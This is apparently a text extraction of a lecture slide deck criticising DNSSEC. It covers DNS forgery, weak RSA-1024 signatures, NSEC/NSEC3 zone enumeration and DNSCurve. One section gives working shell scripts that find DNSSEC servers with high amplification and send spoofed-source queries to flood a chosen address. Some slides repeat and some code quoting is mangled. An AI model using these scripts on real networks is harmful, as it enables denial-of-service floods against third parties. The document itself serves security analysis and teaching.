The DNS security mess

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The Domain Name System

tue.nl wants to see
http://www.ru.nl.

Browser at tue.nl

“The web server
www.ru.nl
has IP address
131.174.78.60.”

Administrator at ru.nl

Now tue.nl
retrieves web page from
IP address 131.174.78.60.
Same for Internet mail.

tue.nl has mail to deliver to someone@ru.nl.

```
Mail client at tue.nl
```
```
"The mail server for ru.nl has IP address 192.87.102.77."
```

```
Administrator at ru.nl
```

Now tue.nl delivers mail to IP address 192.87.102.77.
Forging DNS packets

tue.nl has mail to deliver to someone@ru.nl.

Mail client at Tue.nl

"The mail server for ru.nl has IP address 204.13.202.78."

Attacker anywhere on network

Now Tue.nl delivers mail to IP address 204.13.202.78, actually the attacker's machine.
How forgery really works

Client sends query.
Attacker has to repeat some parts of the query.

Attacker must match

- the name: ru.nl.
- the query type: mail. (“MX”.)
- \( \approx \) the query time,
  so client sees forgery before legitimate answer.
- the query UDP port.
- the query ID.
The hard way for attackers to do this:

Control name, type, time by triggering client.
Many ways to do this.
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Guess port and ID (or predict them if they’re poorly randomized).
16-bit port, 16-bit ID.
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16-bit port, 16-bit ID.

If guess fails, try again.
After analysis, optimization: this is about as much traffic as downloading a movie.
The easy way for attackers to do this:

1. Break into a computer on the same network.

2. Using that computer, sniff network to see the client’s query. Immediately forge answer.
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Sometimes skip step 1: the network is the attacker. e.g. DNS forgery by hotels, Iranian government, et al.
Security theater

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Security researchers can’t publish easy attacks.
June 2009: exciting news!

“.ORG becomes the first open TLD to sign their zone with DNSSEC . . . Today we reached a significant milestone in our effort to bolster online security for the .ORG community. We are the first open generic Top-Level Domain to successfully sign our zone with Domain Name Security Extensions (DNSSEC). To date, the .ORG zone is the largest domain registry to implement this needed security measure.”
“What does it mean that the .ORG Zone is ‘signed’?

Signing our zone is the first part of our DNSSEC test phase. We are now cryptographically signing the authoritative data within the .ORG zone file. This process adds new records to the zone, which allows verification of the origin authenticity and integrity of data.”
Cryptography! Authority!
Verification! Authenticity!
Integrity! Sounds great!
Cryptography! Authority! Verification! Authenticity! Integrity! Sounds great!

Now I simply configure the new .org public key into my DNS software. Because the .org servers are signing with DNSSEC, it is no longer possible for attackers to forge data from those servers!
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... or is it?
December 2015: reality

Let’s find a .org server:

$ dig +short ns org
d0.org.afilias-nst.org.
a0.org.afilias-nst.info.
c0.org.afilias-nst.info.
b2.org.afilias-nst.org.
a2.org.afilias-nst.info.
b0.org.afilias-nst.org.

$ dig +short \
   b0.org.afilias-nst.org
199.19.54.1
Look up greenpeace.org:

$ dig \
   www.greenpeace.org \
   @199.19.54.1

Everything looks normal:

;; AUTHORITY SECTION:
greenpeace.org.
   86400 IN NS
   ns-emea.greenpeace.org.

;; ADDITIONAL SECTION:
ns-emea.greenpeace.org.
   86400 IN A
   37.48.104.54
Where’s the crypto?
Have to ask for signatures:

```bash
$ dig +dnssec \www.greenpeace.org \@199.19.54.1
```

Old answer + four new lines:

```
h9p7u7tr2u91d0v0ljs9l1gid
np90u3h.org. 86400 IN NSE
C3 1 1 1 D399EAAB H9PARR6
69T6U8O1GSG9E1LMITK4DEM0T
NS SOA RRSIG DNSKEY NSEC
3PARAM
```

```
h9p7u7tr2u91d0v0ljs9l1gid
```
A RRSIG
/bgca0g0ug0p6o7425emkt9ue4qng3p2f.org. 86400 IN RRSIG NSEC3 7 2 86400 20151230150037 20151209140037 1448 org. Wg2ha2mg0DnjiVNlP7sk04Y/nSp+sR5uhChRWyzqHVn/Q4DEXqftVYeh v/x7Cmz2Q0rk7bZ/K+v0+5m0Myao6Fod8+fevV8t4ZmWrS+NLjNfx/yl SoStsWztJ50oxdmZw1Ew0ALH/5gsK+PUKaB6dx2BoE0iFn1p1PSfggs9 MB0= 
Wow, that’s a lot of data. Must be strong cryptography!

$ tcpdump -n -e \n   host 199.19.54.1 &
shows packet sizes:
dig sends 89-byte IP packet to the .org DNS server, receives 696-byte IP packet.

See more DNSSEC data:
$ dig +dnssec any \n   org @199.19.54.1
Sends 89-byte IP packet, receives two IP fragments totalling 2362 bytes.
Interlude: the attacker’s view

What happens if we aim this data at someone else?
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What happens if we aim this data at someone else?

Let’s see what DNSSEC can do as an amplification tool for denial-of-service attacks.
Download DNSSEC zone list:

```bash
wget -m -k -I / \n    secspider.cs.ucla.edu
cd secspider.cs.ucla.edu
awk ' /GREEN.*GREEN.*GREEN.*Yes/ { split($0,x,/<TD>/) sub(/<\</TD>/, "", x[5]) print x[5] }', ./*--zone.html \n| sort -u | wc -l
```
Make list of DNSSEC names:

```
( cd secspider.cs.ucla.edu
echo ./--zone.html \\
xargs awk '
/^Zone <STRONG>/ { z = $2
    sub(/<STRONG>/,","",z)
    sub(/</STRONG>/,","",z)
}
/GREEN.*GREEN.*GREEN.*Yes/ {
    split($0,x,/<TD>/)
    sub(/</TD>/,","",x[5])
    print x[5],z,rand()
}
) | sort -k3n \\
| awk '{print $1,$2}' > SERVERS
```
For each domain: Try query, estimate DNSSEC amplification.

```
while read ip z
do
dig +dnssec +ignore +tries=1 +time=1 any "$z" "@$ip" | \
awk -v "z=$z" -v "ip=$ip" '{
  if ($1 != ";;") next
  if ($2 != "MSG") next
  if ($3 != "SIZE") next
  if ($4 != "rcvd:" ) next
  est = (22+$5)/(40+length(z))
  print est,ip,z
}
done < SERVERS > AMP
```
For each DNSSEC server, find domain estimated to have maximum DNSSEC amplification:

```
sort -nr AMP | awk '{
  if (seen[$2]) next
  if ($1 < 30) next
  print $1,$2,$3
  seen[$2] = 1
}
} > MAXAMP
head -1 MAXAMP
wc -l MAXAMP
```

Output (last time I tried it):

```
95.6279 156.154.102.26 fi.
2326 MAXAMP
```
Can that really be true?  

>2000 DNSSEC servers around the Internet, each providing >30× amplification of incoming UDP packets?
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Let’s verify this.

Choose quiet test machines on two different networks (without egress filters).

e.g. Sender: 1.2.3.4.
Receiver: 5.6.7.8.
Run network-traffic monitors on 1.2.3.4 and 5.6.7.8.

On 1.2.3.4, set response address to 5.6.7.8, and send 1 query/second:

```bash
ifconfig eth0:1 \
    5.6.7.8 \
    netmask 255.255.255.255
while read est ip z
do
dig -b 5.6.7.8 \
   +dnssec +ignore +tries=1 \
   +time=1 any "$z" "@$ip"
done < MAXAMP >/dev/null 2>&1
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Attacker sending 200Mbps can trigger 10Gbps flood, taking down very large site.
Attack capacity is limited by total DNSSEC server bandwidth. Mid-2012 estimate: <100Gbps. Can’t take down Google this way.
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2010.12.24 DNSSEC servers:
2536 IP addresses worldwide.

2011.12.14 DNSSEC servers:
3393 IP addresses worldwide.

2015: No SecSpider downloads???
Exercise: Collect + publish data.
RFC 4033 says
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Exercise: investigate other types of DoS attacks.
e.g. DNSSEC advertising says zero server-CPU-time cost. How much server CPU time can attackers actually consume?
Back to integrity

Let’s pretend we don’t care about availability. This is not an attack:
All we care about is integrity:
The .org signatures are 1024-bit RSA signatures.

2003: Shamir–Tromer et al. concluded that 1024-bit RSA was already breakable by large companies and botnets. $10 million: 1 key/year. $120 million: 1 key/month.

2003: RSA Laboratories recommended a transition to 2048-bit keys “over the remainder of this decade.” 2007: NIST made the same recommendation.
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“RSA-1024: still secure against honest attackers.”

What about serious attackers using many more computers? e.g. botnet operators?

I say: Using RSA-1024 is irresponsible.
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Suppose an attacker forges a DNS packet from .org, including exactly the same DNSSEC signatures but changing the NS+ A records to point to the attacker’s servers.
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Suppose an attacker forges a DNS packet from .org, including exactly the same DNSSEC signatures but changing the NS+ A records to point to the attacker’s servers.

Fact: DNSSEC “verification” won’t notice the change. The signatures say nothing about the NS+ A records. The forgery will be accepted.
Here’s what .org signed, translated into English:
“.org might have data with hashes between h9p7u7tr2u91d0v0ljs9l1gidnp90u3h, h9parr669t6u8o1gsg9e1lmitk4dem0t but has not signed any of that data.”

Can check that greenpeace.org has a hash in that range.

.org now has thousands of these useless signatures. This is .org “implementing” a “needed security measure.”
“DNSSEC: Built, not plugged in.”
What went wrong?
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No: DNSSEC has been under active development for *two decades*. 

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1993.11 Galvin: “The DNS Security design team of the DNS working group met for one morning at the Houston IETF.”

1994.02 Eastlake–Kaufman, after months of discussions on dns-security mailing list: “DNSSEC” protocol specification.
Millions of dollars of U.S. government grants: e.g., DISA to BIND company; NSF to UCLA; DHS to Secure64 Software Corporation.

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Compatibility trap? No. Several DNSSEC updates have broken compatibility with older implementations.
The performance trap

Some of the Internet’s DNS servers are extremely busy: e.g., the root servers, the .com servers, the google.com servers. Can they afford crypto?
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The critical design decision in DNSSEC: precompute signatures of DNS records.

“Per-query crypto is bad.”

Signature is computed once; saved; sent to many clients. Hopefully the server can afford to sign each DNS record once.
Clients don’t share the work of verifying a signature.

DNSSEC tries to reduce client-side costs (and precomputation costs) through choice of crypto primitive.

Many DNSSEC crypto options: 640-bit RSA, original specs; 768-bit RSA, many docs; 1024-bit RSA, current RFCs (for “leaf nodes in the DNS”); DSA, “10 to 40 times as slow for verification” but faster for signatures.
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DNSSEC needed more options to survive the inevitable breaks. More complexity ⇒ more bugs, including security holes.

Looking beyond the crypto: Precomputation forced DNSSEC down a path of unreliability, insecurity, and unusability. Let’s see how this happened.
DNS architecture

Browser pulls data from DNS cache at tue.nl:

“The web server www.ru.nl has IP address 131.174.78.60.”

Cache pulls data from administrator if it doesn’t already have the data.
Administrator pushes data through local database into .ru.nl DNS server:

Browser at tue.nl

DNS cache

.ru.nl DNS server

.ru.nl database

Administrator at ru.nl

“The web server www.ru.nl has IP address 131.174.78.60.”
DNS cache learns location of .ru.nl DNS server from .nl DNS server:

“The DNS server for .ru.nl is ns3 with IP address 131.174.78.16.”

at ruth.nl

DNS cache

.DNS server

.nl database

Administrator

at tue.nl
God

Root DNS server

.nl DNS server

.at Internet Central HQ

Browser

DNS cache

.Administrator

.ru.nl database

.data at Internet Central HQ

.ru.nl database

.ru.nl DNS server

.nl DNS server

.nl DNS server

Much wider variety of DNS database-management tools, plus hundreds of homegrown tools written by DNS registrars etc.
DNSSEC changes everything

DNSSEC demands new code in every DNS-management tool. Whenever a tool adds or changes a DNS record, also has to precompute and store a DNSSEC signature for the new record. Often considerable effort for the tool programmers.

Example: Signing 3GB database can produce 20GB database. Tool reading database into RAM probably has to be reengineered.
Nijmegen administrator also has to send public key to .nl.

The .nl server and database software and web interface need to be updated to accept these public keys and to sign everything.

DNS cache needs new software to fetch keys, fetch signatures, and verify signatures.

Tons of pain for implementors.
Original DNSSEC protocols would have required .org to sign its whole database: millions of records.

Conceptually simple but much too slow, much too big.

So the DNSSEC protocol added complicated options allowing .org to sign a small number of records, and to sign “might have data but has not signed any of it” covering the other records.
What about *dynamic* DNS data?

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Often they automatically adjust list of addresses in light of dead servers, client location, etc.
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DNSSEC purists say “*Answers
should always be static*”.
Even in “static” DNS, each response packet is dynamically assembled from several answers: MX answer, NS answer, etc.

DNSSEC precomputes a signature for each answer, not for each packet.

⇒ One DNSSEC packet includes several signatures. Massive bloat on the wire.

That’s why DNSSEC allows so much amplification.
What about old DNS data? Are the signatures still valid?

Can an attacker replay obsolete signed data?

e.g. You move IP addresses. Attacker grabs old address, replays old signature.
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*E.g.* You move IP addresses. Attacker grabs old address, replays old signature.

If clocks are synchronized then signatures can include expiration times. But frequent re-signing is an administrative disaster.
A few DNSSEC suicide examples:

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Many more: see ianix.com /pub/dnssec-outages.html.
What about *nonexistent* data?
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“aaaaa.ru.nl does not exist”,
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Crazy! Obvious approach: “We sign each record that exists, and don’t sign anything else.”
What about *nonexistent* data?

Does Nijmegen administrator precompute signatures on “aaaaa.ru.nl does not exist”, “aaaab.ru.nl does not exist”, etc.?

Crazy! Obvious approach: “We sign each record that exists, and don’t sign anything else.”

User asks for nonexistent name. Receives *unsigned* answer saying the name doesn’t exist. Has no choice but to trust it.
User asks for www.google.com. Receives unsigned answer, a packet forged by attacker, saying the name doesn’t exist. Has no choice but to trust it.

Clearly a violation of availability. Sometimes a violation of integrity. This is not a good approach.
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Alternative: DNSSEC’s “NSEC”. e.g. \texttt{nonex.clegg.com} query returns “There are no names between \texttt{nick.clegg.com} and \texttt{start.clegg.com}” + signature.
Try foo.clegg.com etc.
After several queries have complete clegg.com list:
_jabber._tcp, _xmpp-server._tcp, alan, alvis, andrew, brian, calendar, dlv, googlefffffffffe91126e7, home, imogene, jennifer, localhost, mail, wiki, www.
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The clegg.com administrator disabled DNS “zone transfers” — but then leaked the same data by installing DNSSEC. (This was a real example.)
Summary: Attacker learns all $n$ names in an NSEC zone (with signatures guaranteeing that there are no more) using $n$ DNS queries.
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This is not a good approach.

DNSSEC purists disagree:

“It is part of the design philosophy of the DNS that the data in it is public.”

But this notion is so extreme that it became a public-relations problem.
New DNSSEC approach:

1. “NSEC3” technology:
   Use a “one-way hash function” such as (iterated salted) SHA-1. Reveal *hashes* of names instead of revealing names.
   “There are no names with hashes between ... and ...”
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   Reveal *hashes* of names instead of revealing names.
   “There are no names with hashes between ... and ...”

2. Marketing:
   Pretend that NSEC3 is less damaging than NSEC.

ISC: “NSEC3 does not allow enumeration of the zone.”
Reality: Attacker grabs the hashes by abusing DNSSEC’s NSEC3; computes the same hash function for many different name guesses; quickly discovers almost all names (and knows ≠ missing names).
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4Mbps flood of queries is under 500 million noisy guesses/day. NSEC3 allows typical attackers 1000000 million to 1000000000 million silent guesses/day.
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Store a signature next to every web page.
Recompute and store signature for every minor wiki edit, and again every 30 days.
Any failure: HTTPSEC suicide.
Dynamic content? Give up.
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Imagine an “HTTPSEC” that works like DNSSEC.

Store a signature next to every web page. Recompute and store signature for every minor wiki edit, and again every 30 days. Any failure: HTTPSEC suicide. Dynamic content? Give up.

Replay attacks work for 30 days. Filename guessing is much faster. Nothing is encrypted. Denial of service is trivial.
Does DNS security matter?

There are some IP addresses signed with DNSSEC, and some caches checking signatures. Never mind all the problems. **Do these signatures accomplish anything?**
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There are some IP addresses signed with DNSSEC, and some caches checking signatures. Never mind all the problems. Do these signatures accomplish anything?

Occasionally these caches are on client machines, so attacker can’t simply forge packets from cache ... so attacker intercepts and forges all the subsequent packets: web pages, email, etc.
Administrator can use HTTPS to protect web pages ... but then what attack is stopped by DNSSEC?
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DNSSEC purists criticize HTTPS: “You can’t trust your servers.”

DNSSEC signers are offline (preferably in guarded rooms). DNSSEC precomputes signatures. DNSSEC doesn’t trust servers.
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DNSSEC signers are offline (preferably in guarded rooms). DNSSEC precomputes signatures. DNSSEC doesn’t trust servers.

But DNSSEC is not signing any of the user’s data!
PGP signs the user’s data. PGP-signed web pages and email are protected against misbehaving servers, and against network attackers.
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With HTTPS but not PGP, what attack is stopped by DNSSEC?
PGP signs the user’s data. PGP-signed web pages and email are protected against misbehaving servers, and against network attackers.

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With HTTPS but not PGP, what attack is stopped by DNSSEC?

With neither HTTPS nor PGP, what attack is stopped by DNSSEC?
Getting out of the mess

State-of-the-art ECC is fast enough to authenticate and encrypt every packet.

Deployed: DNSCurve protects DNS packets, server→cache.

Deployed: DNSCrypt protects DNS packets, cache→client.

Work in progress: HTTPCurve protects HTTP packets.
Crypto is at edge of network, handled by simple proxy.

Administrator puts public key into name of server.

Need new DNS cache software but no need to change server software, database-management software, web interfaces, etc.

Easy to implement, easy to deploy.
No precomputation.
No precomputation.

No problems with dynamic data.
No precomputation.

No problems with dynamic data.

No problems with old data: all results are guaranteed to be fresh.
No precomputation.

No problems with dynamic data.

No problems with old data: all results are guaranteed to be fresh.

No problems with nonexistent data, database leaks, etc.
No precomputation.

No problems with dynamic data.

No problems with old data: all results are guaranteed to be fresh.

No problems with nonexistent data, database leaks, etc.

Packets are small.

Smaller amplification than existing protocols.
DNSCurve and DNSCrypt and HTTPCurve and SMTPCurve add real security even to PGP-signed web pages, email.

Improved confidentiality: e.g., is the user accessing firstaid.webmd.com or diabetes.webmd.com?

Improved integrity: e.g., freshness.

Improved availability: attacker forging a packet doesn’t break connections.